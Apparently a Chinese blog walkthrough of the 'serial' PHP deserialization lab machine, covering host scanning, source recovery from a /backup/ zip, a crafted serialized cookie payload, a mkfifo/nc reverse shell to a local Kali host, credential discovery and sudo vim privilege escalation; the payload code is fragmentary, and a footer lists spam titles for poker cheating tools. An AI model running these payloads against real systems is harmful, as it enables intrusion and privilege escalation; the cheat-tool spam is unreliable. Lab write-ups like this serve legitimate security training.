反序列化靶机serial
创始人
2024-11-15 23:07:20
0

1.创建虚拟机

2.渗透测试过程

探测主机存活(目标主机IP地址)

使用nmap探测主机存活或者使用Kali里的netdicover进行探测

-PS/-PA/-PU/-PY:这些参数即可以探测主机存活,也可以同时进行端口扫描。(例如:-PS,发送TCP SYN包进行主机探测

访问

首先访问80端口 F12查看源代码,那我们查看cookie

O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}} o:代表存储的是对象(object),如果传入的是一个数组,那它会变成字母a。 4:表示对象的名称有4个字符。User表示对象名称,刚好是4个字符。 2:表示有2个值 s:表示字符串,数字表示字符串的长度,s:10:" User name"; 

使用工具进行扫描,这里扫到一个/backup/目录

打开查看,是一个zip文件,下载查看,是三个源代码文件

通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出

构造payload

wel = new Log();   } } $obj = new User(); echo base64_encode(serialize($obj)); 

抓包

Get shell

生成一个shell 放在www下9.txt

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

wel = new Log();   } } $obj = new User(); echo base64_encode(serialize($obj));

 改为本机的www下的

将生成的64编码放到重放器中

 

输入 rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.87.128+7777+>/tmp/f

kali监听成功

查看文件,多返回几次上级目录,找到一个txt文件

查看,得到账号密码

远程连接 成功进入

尝试提权,试试sudo vim,进入到命令模式输入!bash

提权成功

相关内容

热门资讯

透视规律!拱趴大菠萝有什么挂,... 透视规律!拱趴大菠萝有什么挂,约局吧app有挂吗,德州教程(有挂介绍)1、下载好拱趴大菠萝有什么挂辅...
透视美元局!德普之星辅助工具如... 透视美元局!德普之星辅助工具如何打开, (德普之星)切实有挂(透视)私人局透视(有挂技巧)一、德普之...
透视底牌透视!wepoker脚... 透视底牌透视!wepoker脚本,(wepoker)果然是真的有挂(透视)辅助(有挂教程);一、we...
透视透视!aapoker脚本怎... 透视透视!aapoker脚本怎么用(透视)透视插件(原来是有挂)1、aapoker脚本怎么用ai辅助...
六分钟教程!上饶中至辅助工具(... 六分钟教程!上饶中至辅助工具(辅助挂)详细教程(都是是有挂)1、很好的工具软件,可以解锁游戏的ai质...
透视辅助!wpk插件辅助,(W... 透视辅助!wpk插件辅助,(WPK)确实是真的有挂(透视)微扑克微乐辅助(有挂详情)1.微扑克微乐辅...
透视系统!xpoker透视辅助... 透视系统!xpoker透视辅助,impoker辅助,透牌教程(有挂解说)1)xpoker透视辅助辅助...
透视免费!wepoker破解工... 透视免费!wepoker破解工具,(wepoker)总是有挂(透视)辅助器(有挂介绍)1、wepok...
透视规律!德普之星透视免费, ... 透视规律!德普之星透视免费, (德扑之心)一贯是有挂(透视)透视辅助软件激活码(有挂方法)1、德普之...
透视科技!aapoker怎么提... 透视科技!aapoker怎么提高中牌率(透视)发牌逻辑(确实有挂)1、透视科技!aapoker怎么提...